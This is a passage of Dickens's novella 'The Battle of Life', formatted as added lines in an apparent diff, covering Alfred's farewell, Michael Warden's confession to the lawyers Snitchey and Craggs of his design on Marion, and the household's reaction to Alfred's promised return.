+warning being given, her young lover brought her tenderly to where her
+sister stood, and gave her into her embrace.
+
+"I have been telling Grace, dear Marion," he said, "that you are her
+charge; my precious trust at parting. And when I come back and reclaim
+you, dearest, and the bright prospect of our married life lies stretched
+before us, it shall be one of our chief pleasures to consult how we can
+make Grace happy; how we can anticipate her wishes; how we can show our
+gratitude and love to her; how we can return her something of the debt
+she will have heaped upon us."
+
+The younger sister had one hand in his; the other rested on her sister's
+neck. She looked into that sister's eyes, so calm, serene, and cheerful,
+with a gaze in which affection, admiration, sorrow, wonder, almost
+veneration, were blended. She looked into that sister's face, as if it
+were the face of some bright angel. Calm, serene, and cheerful, it
+looked back on her and on her lover.
+
+"And when the time comes, as it must one day," said Alfred,--"I wonder
+it has never come yet: but Grace knows best, for Grace is always
+right,--when _she_ will want a friend to open her whole heart to, and
+to be to her something of what she has been to us,--then, Marion, how
+faithful we will prove, and what delight to us to know that she, our
+dear good sister, loves and is loved again, as we would have her!"
+
+Still the younger sister looked into her eyes, and turned not--even
+towards him. And still those honest eyes looked back, so calm, serene,
+and cheerful, on herself and on her lover.
+
+"And when all that is past, and we are old, and living (as we
+must!) together--close together; talking often of old times," said
+Alfred--"these shall be our favorite times among them--this day most
+of all; and telling each other what we thought and felt, and hoped and
+feared, at parting; and how we couldn't bear to say good bye"----
+
+"Coach coming through the wood," cried Britain.
+
+"Yes! I am ready--and how we met again, so happily, in spite of all;
+we'll make this day the happiest in all the year, and keep it as a
+treble birth-day. Shall we, dear?"
+
+"Yes!" interposed the elder sister, eagerly, and with a radiant smile.
+"Yes! Alfred, don't linger. There's no time. Say good bye to Marion. And
+Heaven be with you!"
+
+He pressed the younger sister to his heart. Released from his embrace,
+she again clung to her sister; and her eyes, with the same blended look,
+again sought those so calm, serene, and cheerful.
+
+"Farewell my boy!" said the Doctor. "To talk about any serious
+correspondence or serious affections, and engagements, and so forth, in
+such a--ha ha ha!--you know what I mean--why that, of course, would be
+sheer nonsense. All I can say is, that if you and Marion should continue
+in the same foolish minds, I shall not object to have you for a
+son-in-law one of these days."
+
+"Over the bridge!" cried Britain.
+
+"Let it come!" said Alfred, wringing the Doctor's hand stoutly. "Think
+of me sometimes, my old friend and guardian, as seriously as you can!
+Adieu, Mr. Snitchey! Farewell, Mr. Craggs!"
+
+"Coming down the road!" cried Britain.
+
+"A kiss of Clemency Newcome for long acquaintance' sake--shake hands,
+Britain--Marion, dearest heart, good bye! Sister Grace! remember!"
+
+The quiet household figure, and the face so beautiful in its serenity,
+were turned towards him in reply; but Marion's look and attitude
+remained unchanged.
+
+The coach was at the gate. There was a bustle with the luggage. The
+coach drove away. Marion never moved.
+
+"He waves his hat to you, my love," said Grace. "Your chosen husband,
+darling. Look!"
+
+The younger sister raised her head, and, for a moment, turned it. Then
+turning back again, and fully meeting, for the first time, those calm
+eyes, fell sobbing on her neck.
+
+"Oh, Grace. God bless you! But I cannot bear to see it, Grace! It breaks
+my heart."
+
+
+
+
+PART THE SECOND.
+
+
+
+
+[Illustration]
+
+PART THE SECOND.
+
+
+[Illustration]
+
+SNITCHEY AND CRAGGS had a snug little office on the old Battle Ground,
+where they drove a snug little business, and fought a great many small
+pitched battles for a great many contending parties. Though it could
+hardly be said of these conflicts that they were running fights--for in
+truth they generally proceeded at a snail's pace--the part the Firm had
+in them came so far within that general denomination, that now they took
+a shot at this Plaintiff, and now aimed a chop at that Defendant, now
+made a heavy charge at an estate in Chancery, and now had some light
+skirmishing among an irregular body of small debtors, just as the
+occasion served, and the enemy happened to present himself. The Gazette
+was an important and profitable feature in some of their fields, as well
+as in fields of greater renown; and in most of the Actions wherein they
+shewed their generalship, it was afterwards observed by the combatants
+that they had had great difficulty in making each other out, or in
+knowing with any degree of distinctness what they were about, in
+consequence of the vast amount of smoke by which they were surrounded.
+
+The offices of Messrs. Snitchey and Craggs stood convenient with an open
+door, down two smooth steps in the market-place: so that any angry
+farmer inclining towards hot water, might tumble into it at once. Their
+special council-chamber and hall of conference was an old back room up
+stairs, with a low dark ceiling, which seemed to be knitting its brows
+gloomily in the consideration of tangled points of law. It was furnished
+with some high-backed leathern chairs, garnished with great goggle-eyed
+brass nails, of which, every here and there, two or three had fallen
+out; or had been picked out, perhaps, by the wandering thumbs and
+forefingers of bewildered clients. There was a framed print of a great
+judge in it, every curl in whose dreadful wig had made a man's hair
+stand on end. Bales of papers filled the dusty closets, shelves, and
+tables; and round the wainscoat there were tiers of boxes, padlocked and
+fireproof, with people's names painted outside, which anxious visitors
+felt themselves, by a cruel enchantment, obliged to spell backwards and
+forwards, and to make anagrams of, while they sat, seeming to listen to
+Snitchey and Craggs, without comprehending one word of what they said.
+
+Snitchey and Craggs had each, in private life as in professional
+existence, a partner of his own. Snitchey and Craggs were the best
+friends in the world, and had a real confidence in one another; but
+Mrs. Snitchey, by a dispensation not uncommon in the affairs of life,
+was, on principle, suspicious of Mr. Craggs, and Mrs. Craggs was, on
+principle, suspicious of Mr. Snitchey. "Your Snitcheys indeed," the
+latter lady would observe, sometimes, to Mr. Craggs; using that
+imaginative plural as if in disparagement of an objectionable pair of
+pantaloons, or other articles not possessed of a singular number; "I
+don't see what you want with your Snitcheys, for my part. You trust a
+great deal too much to your Snitcheys, _I_ think, and I hope you may
+never find my words come true." While Mrs. Snitchey would observe to Mr.
+Snitchey, of Craggs, "that if ever he was led away by man he was led
+away by that man; and that if ever she read a double purpose in a mortal
+eye, she read that purpose in Craggs's eye." Notwithstanding this,
+however, they were all very good friends in general: and Mrs. Snitchey
+and Mrs. Craggs maintained a close bond of alliance against "the
+office," which they both considered a Blue chamber, and common enemy,
+full of dangerous (because unknown) machinations.
+
+In this office, nevertheless, Snitchey and Craggs made honey for their
+several hives. Here sometimes they would linger, of a fine evening, at
+the window of their council-chamber, overlooking the old battle-ground,
+and wonder (but that was generally at assize time, when much business
+had made them sentimental) at the folly of mankind, who couldn't always
+be at peace with one another, and go to law comfortably. Here days, and
+weeks, and months, and years, passed over them; their calendar, the
+gradually diminishing number of brass nails in the leathern chairs, and
+the increasing bulk of papers on the tables. Here nearly three years'
+flight had thinned the one and swelled the other, since the breakfast in
+the orchard; when they sat together in consultation, at night.
+
+[Illustration]
+
+Not alone; but with a man of thirty, or about that time of life,
+negligently dressed, and somewhat haggard in the face, but well-made,
+well-attired, and well-looking, who sat in the arm-chair of state, with
+one hand in his breast, and the other in his dishevelled hair, pondering
+moodily. Messrs. Snitchey and Craggs sat opposite each other at a
+neighbouring desk. One of the fire-proof boxes, unpadlocked and opened,
+was upon it; a part of its contents lay strewn upon the table, and the
+rest was then in course of passing through the hands of Mr. Snitchey,
+who brought it to the candle, document by document, looked at every
+paper singly, as he produced it, shook his head, and handed it to Mr.
+Craggs, who looked it over also, shook his head, and laid it down.
+Sometimes they would stop, and shaking their heads in concert, look
+towards the abstracted client; and the name on the box being Michael
+Warden, Esquire, we may conclude from these premises that the name and
+the box were both his, and that the affairs of Michael Warden, Esquire,
+were in a bad way.
+
+"That's all," said Mr. Snitchey, turning up the last paper. "Really
+there's no other resource. No other resource."
+
+"All lost, spent, wasted, pawned, borrowed and sold, eh?" said the
+client, looking up.
+
+"All," returned Mr. Snitchey.
+
+"Nothing else to be done, you say?"
+
+"Nothing at all."
+
+The client bit his nails, and pondered again.
+
+"And I am not even personally safe in England? You hold to that; do
+you?"
+
+"In no part of the United Kingdom of Great Britain and Ireland," replied
+Mr. Snitchey.
+
+"A mere prodigal son with no father to go back to, no swine to keep, and
+no husks to share with them? Eh?" pursued the client, rocking one leg
+over the other, and searching the ground with his eyes.
+
+Mr. Snitchey coughed, as if to deprecate the being supposed to
+participate in any figurative illustration of a legal position. Mr.
+Craggs, as if to express that it was a partnership view of the subject,
+also coughed.
+
+"Ruined at thirty!" said the client. "Humph!"
+
+"Not ruined, Mr. Warden," returned Snitchey. "Not so bad as that. You
+have done a good deal towards it, I must say, but you are not ruined.
+A little nursing--"
+
+"A little Devil," said the client.
+
+"Mr. Craggs," said Snitchey, "will you oblige me with a pinch of snuff?
+Thank you, Sir."
+
+As the imperturbable lawyer applied it to his nose, with great apparent
+relish and a perfect absorption of his attention in the proceeding, the
+client gradually broke into a smile, and, looking up, said:
+
+"You talk of nursing. How long nursing?"
+
+"How long nursing?" repeated Snitchey, dusting the snuff from his
+fingers, and making a slow calculation in his mind. "For your involved
+estate, Sir? In good hands? S. and C.'s, say? Six or seven years."
+
+"To starve for six or seven years!" said the client with a fretful
+laugh, and an impatient change of his position.
+
+"To starve for six or seven years, Mr. Warden," said Snitchey, "would be
+very uncommon indeed. You might get another estate by shewing yourself,
+the while. But we don't think you could do it--speaking for Self and
+Craggs--and consequently don't advise it."
+
+"What _do_ you advise?"
+
+"Nursing, I say," repeated Snitchey. "Some few years of nursing by Self
+and Craggs would bring it round. But to enable us to make terms, and
+hold terms, and you to keep terms, you must go away, you must live
+abroad. As to starvation, we could ensure you some hundreds a year to
+starve upon, even in the beginning, I dare say, Mr. Warden."
+
+"Hundreds," said the client. "And I have spent thousands!"
+
+"That," retorted Mr. Snitchey, putting the papers slowly back into the
+cast-iron box, "there is no doubt about. No doubt a--bout," he repeated
+to himself, as he thoughtfully pursued his occupation.
+
+The lawyer very likely knew his man; at any rate his dry, shrewd,
+whimsical manner, had a favourable influence upon the client's moody
+state, and disposed him to be more free and unreserved. Or perhaps the
+client knew _his_ man; and had elicited such encouragement as he had
+received, to render some purpose he was about to disclose the more
+defensible in appearance. Gradually raising his head, he sat looking at
+his immovable adviser with a smile, which presently broke into a laugh.
+
+"After all," he said, "my iron-headed friend--"
+
+Mr. Snitchey pointed out his partner. "Self and--excuse me--Craggs."
+
+"I beg Mr. Craggs's pardon," said the client. "After all, my iron-headed
+friends," he leaned forward in his chair, and dropped his voice a
+little, "you don't know half my ruin yet."
+
+Mr. Snitchey stopped and stared at him. Mr. Craggs also stared.
+
+"I am not only deep in debt," said the client "but I am deep in--"
+
+"Not in love!" cried Snitchey.
+
+"Yes!" said the client, falling back in his chair, and surveying the
+Firm with his hands in his pockets. "Deep in love."
+
+"And not with an heiress, Sir?" said Snitchey.
+
+"Not with an heiress."
+
+"Nor a rich lady?"
+
+"Nor a rich lady that I know of--except in beauty and merit."
+
+"A single lady, I trust?" said Mr. Snitchey, with great expression.
+
+"Certainly."
+
+"It's not one of Doctor Jeddler's daughters?" said Snitchey, suddenly
+squaring his elbows on his knees, and advancing his face at least a
+yard.
+
+"Yes!" returned the client.
+
+"Not his younger daughter?" said Snitchey.
+
+"Yes!" returned the client.
+
+"Mr. Craggs," said Snitchey, much relieved, "will you oblige me with
+another pinch of snuff? Thank you. I am happy to say it don't signify,
+Mr. Warden; she's engaged, Sir, she's bespoke. My partner can
+corroborate me. We know the fact."
+
+"We know the fact," repeated Craggs.
+
+"Why, so do I perhaps," returned the client quietly. "What of that? Are
+you men of the world, and did you never hear of a woman changing her
+mind?"
+
+"There certainly have been actions for breach," said Mr. Snitchey,
+"brought against both spinsters and widows, but in the majority of
+cases--"
+
+"Cases!" interposed the client, impatiently. "Don't talk to me of cases.
+The general precedent is in a much larger volume than any of your law
+books. Besides, do you think I have lived six weeks in the Doctor's
+house for nothing?"
+
+"I think, Sir," observed Mr. Snitchey, gravely addressing himself to his
+partner, "that of all the scrapes Mr. Warden's horses have brought him
+into at one time and another--and they have been pretty numerous, and
+pretty expensive, as none know better than himself and you and I--the
+worst scrape may turn out to be, if he talks in this way, his having
+been ever left by one of them at the Doctor's garden wall, with three
+broken ribs, a snapped collar-bone, and the Lord knows how many bruises.
+We didn't think so much of it, at the time when we knew he was going on
+well under the Doctor's hands and roof; but it looks bad now, Sir. Bad!
+It looks very bad. Doctor Jeddler too--our client, Mr. Craggs."
+
+"Mr. Alfred Heathfield too--a sort of client, Mr. Snitchey," said
+Craggs.
+
+"Mr. Michael Warden too, a kind of client," said the careless visitor,
+"and no bad one either: having played the fool for ten or twelve years.
+However Mr. Michael Warden has sown his wild oats now; there's their
+crop, in that box; and means to repent and be wise. And in proof of it,
+Mr. Michael Warden means, if he can, to marry Marion, the Doctor's
+lovely daughter, and to carry her away with him."
+
+"Really, Mr. Craggs," Snitchey began.
+
+"Really Mr. Snitchey, and Mr. Craggs, partners both," said the client,
+interrupting him; "you know your duty to your clients, and you know well
+enough, I am sure, that it is no part of it to interfere in a mere love
+affair, which I am obliged to confide to you. I am not going to carry
+the young lady off, without her own consent. There's nothing illegal in
+it. I never was Mr. Heathfield's bosom friend. I violate no confidence
+of his. I love where he loves, and I mean to win where he would win, if
+I can."
+
+"He can't, Mr. Craggs," said Snitchey, evidently anxious and
+discomfited. "He can't do it, Sir. She dotes on Mr. Alfred."
+
+"Does she?" returned the client.
+
+"Mr. Craggs, she dotes on him, Sir," persisted Snitchey.
+
+"I didn't live six weeks, some few months ago, in the Doctor's house for
+nothing; and I doubted that soon," observed the client. "She would have
+doted on him, if her sister could have brought it about; but I watched
+them. Marion avoided his name, avoided the subject: shrunk from the
+least allusion to it, with evident distress."
+
+"Why should she, Mr. Craggs, you know? Why should she, Sir?" inquired
+Snitchey.
+
+"I don't know why she should, though there are many likely reasons,"
+said the client, smiling at the attention and perplexity expressed in
+Mr. Snitchey's shining eye, and at his cautious way of carrying on the
+conversation, and making himself informed upon the subject; "but I know
+she does. She was very young when she made the engagement--if it may be
+called one, I am not even sure of that--and has repented of it, perhaps.
+Perhaps--it seems a foppish thing to say, but upon my soul I don't mean
+it in that light--she may have fallen in love with me, as I have fallen
+in love with her."
+
+"He, he! Mr. Alfred, her old playfellow too, you remember, Mr. Craggs,"
+said Snitchey, with a disconcerted laugh; "knew her almost from a baby!"
+
+"Which makes it the more probable that she may be tired of his idea,"
+calmly pursued the client, "and not indisposed to exchange it for the
+newer one of another lover, who presents himself (or is presented
+by his horse) under romantic circumstances; has the not unfavorable
+reputation--with a country girl--of having lived thoughtlessly and
+gaily, without doing much harm to anybody; and who, for his youth and
+figure, and so forth--this may seem foppish again, but upon my soul I
+don't mean it in that light--might perhaps pass muster in a crowd with
+Mr. Alfred himself."
+
+There was no gainsaying the last clause, certainly; and Mr. Snitchey,
+glancing at him, thought so. There was something naturally graceful and
+pleasant in the very carelessness of his air. It seemed to suggest, of
+his comely face and well-knit figure, that they might be greatly better
+if he chose: and that, once roused and made earnest (but he never had
+been earnest yet), he could be full of fire and purpose. "A dangerous
+sort of libertine," thought the shrewd lawyer, "to seem to catch the
+spark he wants from a young lady's eyes."
+
+"Now, observe, Snitchey," he continued, rising and taking him by the
+button, "and Craggs," taking him by the button also, and placing one
+partner on either side of him, so that neither might evade him. "I
+don't ask you for any advice. You are right to keep quite aloof from
+all parties in such a matter, which is not one in which grave men like
+you could interfere, on any side. I am briefly going to review in
+half-a-dozen words, my position and intention, and then I shall leave it
+to you to do the best for me, in money matters, that you can: seeing,
+that, if I run away with the Doctor's beautiful daughter (as I hope to
+do, and to become another man under her bright influence), it will be,
+for the moment, more chargeable than running away alone. But I shall
+soon make all that up in an altered life."
+
+"I think it will be better not to hear this, Mr. Craggs?" said Snitchey,
+looking at him across the client.
+
+"_I_ think not," said Craggs.--Both listening attentively.
+
+"Well! You needn't hear it," replied their client. "I'll mention it,
+however. I don't mean to ask the Doctor's consent, because he wouldn't
+give it me. But I mean to do the Doctor no wrong or harm, because
+(besides there being nothing serious in such trifles, as he says) I hope
+to rescue his child, my Marion, from what I see--I _know_--she dreads,
+and contemplates with misery: that is, the return of this old lover. If
+anything in the world is true, it is true that she dreads his return.
+Nobody is injured so far. I am so harried and worried here just now,
+that I lead the life of a flying-fish; skulk about in the dark, am shut
+out of my own house, and warned off my own grounds: but that house,
+and those grounds, and many an acre besides, will come back to me one
+day, as you know and say; and Marion will probably be richer--on your
+showing, who are never sanguine--ten years hence as my wife, than as the
+wife of Alfred Heathfield, whose return she dreads (remember that), and
+in whom or in any man, my passion is not surpassed. Who is injured yet?
+It is a fair case throughout. My right is as good as his, if she decide
+in my favor; and I will try my right by her alone. You will like to know
+no more after this, and I will tell you no more. Now you know my
+purpose, and wants. When must I leave here?"
+
+"In a week," said Snitchey. "Mr. Craggs?--"
+
+"In something less, I should say," responded Craggs.
+
+"In a month," said the client, after attentively watching the two faces.
+"This day month. To-day is Thursday. Succeed or fail, on this day month
+I go."
+
+"It's too long a delay," said Snitchey; "much too long. But let it be
+so. I thought he'd have stipulated for three," he murmured to himself.
+"Are you going? Good night, Sir."
+
+"Good night!" returned the client, shaking hands with the Firm. "You'll
+live to see me making a good use of riches yet. Henceforth, the star of
+my destiny is, Marion!"
+
+"Take care of the stairs, Sir," replied Snitchey; "for she don't shine
+there. Good night!"
+
+"Good night!"
+
+So they both stood at the stair-head with a pair of office-candles,
+watching him down; and when he had gone away, stood looking at each
+other.
+
+"What do you think of all this, Mr. Craggs?" said Snitchey.
+
+Mr. Craggs shook his head.
+
+"It was our opinion, on the day when that release was executed, that
+there was something curious in the parting of that pair, I recollect,"
+said Snitchey.
+
+"It was," said Mr. Craggs.
+
+"Perhaps he deceives himself altogether," pursued Mr. Snitchey, locking
+up the fireproof box, and putting it away; "or if he don't, a little
+bit of fickleness and perfidy is not a miracle, Mr. Craggs. And yet I
+thought that pretty face was very true. I thought," said Mr. Snitchey,
+putting on his great coat, (for the weather was very cold), drawing on
+his gloves, and snuffing out one candle, "that I had even seen her
+character becoming stronger and more resolved of late. More like her
+sister's."
+
+"Mrs. Craggs was of the same opinion," returned Craggs.
+
+"I'd really give a trifle to-night," observed Mr. Snitchey, who was
+a good-natured man, "if I could believe that Mr. Warden was reckoning
+without his host; but light-headed, capricious, and unballasted as he
+is, he knows something of the world and its people (he ought to, for
+he has bought what he does know, dear enough); and I can't quite think
+that. We had better not interfere: we can do nothing, Mr. Craggs, but
+keep quiet."
+
+"Nothing," returned Craggs.
+
+"Our friend the Doctor makes light of such things," said Mr. Snitchey,
+shaking his head. "I hope he mayn't stand in need of his philosophy. Our
+friend Alfred talks of the battle of life," he shook his head again, "I
+hope he mayn't be cut down early in the day. Have you got your hat, Mr.
+Craggs? I am going to put the other candle out."
+
+Mr Craggs replying in the affirmative, Mr. Snitchey suited the action to
+the word, and they groped their way out of the council-chamber: now as
+dark as the subject, or the law in general.
+
+                 *       *       *       *       *
+
+My story passes to a quiet little study, where, on that same night, the
+sisters and the hale old Doctor sat by a cheerful fire-side. Grace was
+working at her needle. Marion read aloud from a book before her. The
+Doctor, in his dressing-gown and slippers, with his feet spread out upon
+the warm rug, leaned back in his easy chair, and listened to the book,
+and looked upon his daughters.
+
+They were very beautiful to look upon. Two better faces for a fireside,
+never made a fireside bright and sacred. Something of the difference
+between them had been softened down in three years' time; and enthroned
+upon the clear brow of the younger sister, looking through her eyes,
+and thrilling in her voice, was the same earnest nature that her own
+motherless youth had ripened in the elder sister long ago. But she
+still appeared at once the lovelier and weaker of the two; still seemed
+to rest her head upon her sister's breast, and put her trust in her, and
+look into her eyes for counsel and reliance. Those loving eyes, so calm,
+serene, and cheerful, as of old.
+
+"'And being in her own home,'" read Marion, from the book; "'her home
+made exquisitely dear by these remembrances, she now began to know
+that the great trial of her heart must soon come on, and could not be
+delayed. Oh Home, our comforter and friend when others fall away, to
+part with whom, at any step between the cradle and the grave--'"
+
+"Marion, my love!" said Grace.
+
+"Why, Puss!" exclaimed her father, "what's the matter?"
+
+She put her hand upon the hand her sister stretched towards her, and
+read on; her voice still faltering and trembling, though she made an
+effort to command it when thus interrupted.
+
+"'To part with whom, at any step between the cradle and the grave,
+is always sorrowful. Oh Home, so true to us, so often slighted in
+return, be lenient to them that turn away from thee, and do not haunt
+their erring footsteps too reproachfully! Let no kind looks, no
+well-remembered smiles, be seen upon thy phantom face. Let no ray of
+affection, welcome, gentleness, forbearance, cordiality, shine from thy
+white head. Let no old loving word or tone rise up in judgment against
+thy deserter; but if thou canst look harshly and severely, do, in mercy
+to the Penitent!'"
+
+"Dear Marion, read no more to-night," said Grace--for she was weeping.
+
+"I cannot," she replied, and closed the book. "The words seem all on
+fire!"
+
+The Doctor was amused at this; and laughed as he patted her on the head.
+
+"What! overcome by a story-book!" said Doctor Jeddler. "Print and paper!
+Well, well, it's all one. It's as rational to make a serious matter of
+print and paper as of anything else. But dry your eyes, love, dry your
+eyes. I dare say the heroine has got home again long ago, and made it up
+all round--and if she hasn't, a real home is only four walls; and a
+fictitious one, mere rags and ink. What's the matter now?"
+
+"It's only me, Mister," said Clemency, putting in her head at the door.
+
+"And what's the matter with _you_?" said the Doctor.
+
+"Oh, bless you, nothing an't the matter with me," returned Clemency--and
+truly too, to judge from her well-soaped face, in which there gleamed as
+usual the very soul of good humour, which, ungainly as she was, made her
+quite engaging. Abrasions on the elbows are not generally understood,
+it is true, to range within that class of personal charms called
+beauty-spots. But it is better, going through the world, to have the
+arms chafed in that narrow passage, than the temper: and Clemency's was
+sound and whole as any beauty's in the land.
+
+"Nothing an't the matter with me," said Clemency, entering, "but--come a
+little closer, Mister."
+
+The Doctor, in some astonishment, complied with this invitation.
+
+"You said I wasn't to give you one before them, you know," said
+Clemency.
+
+A novice in the family might have supposed, from her extraordinary
+ogling as she said it, as well as from a singular rapture or ecstasy
+which pervaded her elbows, as if she were embracing herself, that
+'one,' in its most favorable interpretation, meant a chaste salute.
+Indeed the Doctor himself seemed alarmed, for the moment; but quickly
+regained his composure, as Clemency, having had recourse to both her
+pockets--beginning with the right one, going away to the wrong one,
+and afterwards coming back to the right one again--produced a letter
+from the Post-office.
+
+"Britain was riding by on a errand," she chuckled, handing it to the
+Doctor, "and see the Mail come in, and waited for it. There's A. H. in
+the corner. Mr. Alfred's on his journey home, I bet. We shall have a
+wedding in the house--there was two spoons in my saucer this morning.
+Oh Luck, how slow he opens it!"
+
+All this she delivered, by way of soliloquy, gradually rising higher
+and higher on tiptoe, in her impatience to hear the news, and making a
+corkscrew of her apron, and a bottle of her mouth. At last, arriving at
+a climax of suspense, and seeing the Doctor still engaged in the perusal
+of the letter, she came down flat upon the soles of her feet again, and
+cast her apron, as a veil, over her head, in a mute despair, and
+inability to bear it any longer.
+
+"Here! Girls!" cried the Doctor. "I can't help it: I never could keep a
+secret in my life. There are not many secrets, indeed, worth being kept
+in such a--well! never mind that. Alfred's coming home, my dears,
+directly."
+
+"Directly!" exclaimed Marion.
+
+"What! The story-book is soon forgotten!" said the Doctor, pinching her
+cheek. "I thought the news would dry those tears. Yes. 'Let it be a
+surprise,' he says, here. But I can't let it be a surprise. He must have
+a welcome."
+
+"Directly!" repeated Marion.
+
+"Why, perhaps not what your impatience calls 'directly,'" returned
+the Doctor; "but pretty soon too. Let us see. Let us see. To-day is
+Thursday, is it not? Then he promises to be here, this day month."
+
+"This day month!" repeated Marion, softly.
+
+"A gay day and a holiday for us," said the cheerful voice of her sister
+Grace, kissing her in congratulation. "Long looked forward to, dearest,
+and come at last."
+
+She answered with a smile; a mournful smile, but full of sisterly
+affection: and as she looked in her sister's face, and listened to the
+quiet music of her voice, picturing the happiness of this return, her
+own face glowed with hope and joy.
+
+And with a something else: a something shining more and more through
+all the rest of its expression: for which I have no name. It was not
+exultation, triumph, proud enthusiasm. They are not so calmly shown. It
+was not love and gratitude alone, though love and gratitude were part of
+it. It emanated from no sordid thought, for sordid thoughts do not light
+up the brow, and hover on the lips, and move the spirit, like a
+fluttered light, until the sympathetic figure trembles.
+
+Doctor Jeddler, in spite of his system of philosophy--which he was
+continually contradicting and denying in practice, but more famous
+philosophers have done that--could not help having as much interest in
+the return of his old ward and pupil, as if it had been a serious event.
+So he sat himself down in his easy chair again, stretched out his
+slippered feet once more upon the rug, read the letter over and over a
+great many times, and talked it over more times still.
+
+"Ah! The day was," said the Doctor, looking at the fire, "when you and
+he, Grace, used to trot about arm-in-arm, in his holiday time, like a
+couple of walking dolls. You remember?"
+
+"I remember," she answered, with her pleasant laugh, and plying her
+needle busily.
+
+"This day month, indeed!" mused the Doctor. "That hardly seems a
+twelve-month ago. And where was my little Marion then!"
+
+"Never far from her sister," said Marion, cheerily, "however little.
+Grace was everything to me, even when she was a young child herself."
+
+"True, Puss, true," returned the Doctor. "She was a staid little woman,
+was Grace, and a wise housekeeper, and a busy, quiet, pleasant body;
+bearing with our humours and anticipating our wishes, and always ready
+to forget her own, even in those times. I never knew you positive or
+obstinate, Grace, my darling, even then, on any subject but one."
+
+"I am afraid I have changed sadly for the worse, since," laughed Grace,
+still busy at her work. "What was that one, father?"
+
+"Alfred, of course," said the Doctor. "Nothing would serve you but you
+must be called Alfred's wife; so we called you Alfred's wife; and you
+liked it better, I believe (odd as it seems now), than being called a
+Duchess, if we could have made you one."
+
+"Indeed!" said Grace, placidly.
+
+"Why, don't you remember?" inquired the Doctor.
+
+"I think I remember something of it," she returned, "but not much. It's
+so long ago." And as she sat at work, she hummed the burden of an old
+song, which the Doctor liked.
+
+"Alfred will find a real wife soon," she said, breaking off; "and that
+will be a happy time indeed for all of us. My three years' trust is
+nearly at an end, Marion. It has been a very easy one. I shall tell
+Alfred, when I give you back to him, that you have loved him dearly all
+the time, and that he has never once needed my good services. May I tell
+him so, love?"
+
+"Tell him, dear Grace," replied Marion, "that there never was a trust
+so generously, nobly, stedfastly discharged; and that I have loved
+_you_, all the time, dearer and dearer every day; and oh! how dearly
+now!"
+
+"Nay," said her cheerful sister, returning her embrace, "I can scarcely
+tell him that; we will leave my deserts to Alfred's imagination. It will
+be liberal enough, dear Marion; like your own."
+
+With that she resumed the work she had for a moment laid down, when her
+sister spoke so fervently: and with it the old song the Doctor liked
+to hear. And the Doctor, still reposing in his easy chair, with his
+slippered feet stretched out before him on the rug, listened to the
+tune, and beat time on his knee with Alfred's letter, and looked at his
+two daughters, and thought that among the many trifles of the trifling
+world, these trifles were agreeable enough.
+
+Clemency Newcome in the mean time, having accomplished her mission and
+lingered in the room until she had made herself a party to the news,
+descended to the kitchen, where her coadjutor, Mr. Britain, was regaling
+after supper, surrounded by such a plentiful collection of bright
+pot-lids, well-scoured saucepans, burnished dinner-covers, gleaming
+kettles, and other tokens of her industrious habits, arranged upon the
+walls and shelves, that he sat as in the centre of a hall of mirrors.
+The majority did not give forth very flattering portraits of him,
+certainly; nor were they by any means unanimous in their reflections; as
+some made him very long-faced, others very broad-faced, some tolerably
+well-looking, others vastly ill-looking, according to their several
+manners of reflecting: which were as various, in respect of one fact, as
+those of so many kinds of men. But they all agreed that in the midst of
+them sat, quite at his ease, an individual with a pipe in his mouth, and
+a jug of beer at his elbow, who nodded condescendingly to Clemency, when
+she stationed herself at the same table.
+
+"Well, Clemmy," said Britain, "how are you by this time, and what's the
+news?"
+
+Clemency told him the news, which he received very graciously. A
+gracious change had come over Benjamin from head to foot. He was much
+broader, much redder, much more cheerful, and much jollier in all
+respects. It seemed as if his face had been tied up in a knot before,
+and was now untwisted and smoothed out.
+
+"There'll be another job for Snitchey and Craggs, I suppose," he
+observed, puffing slowly at his pipe. "More witnessing for you and me,
+perhaps, Clemmy!"
+
+"Lor!" replied his fair companion, with her favorite twist of her
+favorite joints. "I wish it was me, Britain."
+
+"Wish what was you?"
+
+"A going to be married," said Clemency.
+
+Benjamin took his pipe out of his mouth and laughed heartily. "Yes!
+you're a likely subject for that!" he said. "Poor Clem!" Clemency for
+her part laughed as heartily as he, and seemed as much amused by the
+idea. "Yes," she assented, "I'm a likely subject for that; an't I?"
+
+"_You_'ll never be married, you know," said Mr. Britain, resuming his
+pipe.
+
+"Don't you think I ever shall though?" said Clemency, in perfect good
+faith.
+
+Mr. Britain shook his head. "Not a chance of it!"
+
+"Only think!" said Clemency. "Well!--I suppose you mean to, Britain,
+one of these days; don't you?"
+
+A question so abrupt, upon a subject so momentous, required
+consideration. After blowing out a great cloud of smoke, and looking
+at it with his head now on this side and now on that, as if it were
+actually the question, and he were surveying it in various aspects,
+Mr. Britain replied that he wasn't altogether clear about it,
+but--ye-es--he thought he might come to that at last.
+
+"I wish her joy, whoever she may be!" cried Clemency.
+
+"Oh she'll have that," said Benjamin; "safe enough."
+
+"But she wouldn't have led quite such a joyful life as she will lead,
+and wouldn't have had quite such a sociable sort of husband as she will
+have," said Clemency, spreading herself half over the table, and staring
+retrospectively at the candle, "if it hadn't been for--not that I went
+to do it, for it was accidental, I am sure--if it hadn't been for me;
+now would she, Britain?"
+
+"Certainly not," returned Mr. Britain, by this time in that high state
+of appreciation of his pipe, when a man can open his mouth but a very
+little way for speaking purposes; and sitting luxuriously immovable in
+his chair, can afford to turn only his eyes towards a companion, and
+that very passively and gravely. "Oh! I'm greatly beholden to you, you
+know, Clem."
+
+"Lor, how nice that is to think of!" said Clemency.
+
+At the same time, bringing her thoughts as well as her sight to bear
+upon the candle-grease, and becoming abruptly reminiscent of its healing
+qualities as a balsam, she anointed her left elbow with a plentiful
+application of that remedy.
+
+"You see I've made a good many investigations of one sort and another in
+my time," pursued Mr. Britain, with the profundity of a sage; "having
+been always of an inquiring turn of mind; and I've read a good many
+books about the general Rights of things and Wrongs of things, for I
+went into the literary line myself, when I began life."
+
+"Did you though!" cried the admiring Clemency.
+
+"Yes," said Mr. Britain; "I was hid for the best part of two years
+behind a bookstall, ready to fly out if anybody pocketed a volume; and
+after that I was light porter to a stay and mantua maker, in which
+capacity I was employed to carry about, in oilskin baskets, nothing but
+deceptions--which soured my spirits and disturbed my confidence in human
+nature; and after that, I heard a world of discussions in this house,
+which soured my spirits fresh; and my opinion after all is, that, as a
+safe and comfortable sweetener of the same, and as a pleasant guide
+through life, there's nothing like a nutmeg-grater."
+
+Clemency was about to offer a suggestion, but he stopped her by
+anticipating it.
+
+"Com-bined," he added gravely, "with a thimble."
+
+"Do as you wold, you know, and cetrer, eh!" observed Clemency, folding
+her arms comfortably in her delight at this avowal, and patting her
+elbows. "Such a short cut, an't it?"
+
+"I'm not sure," said Mr. Britain, "that it's what would be considered
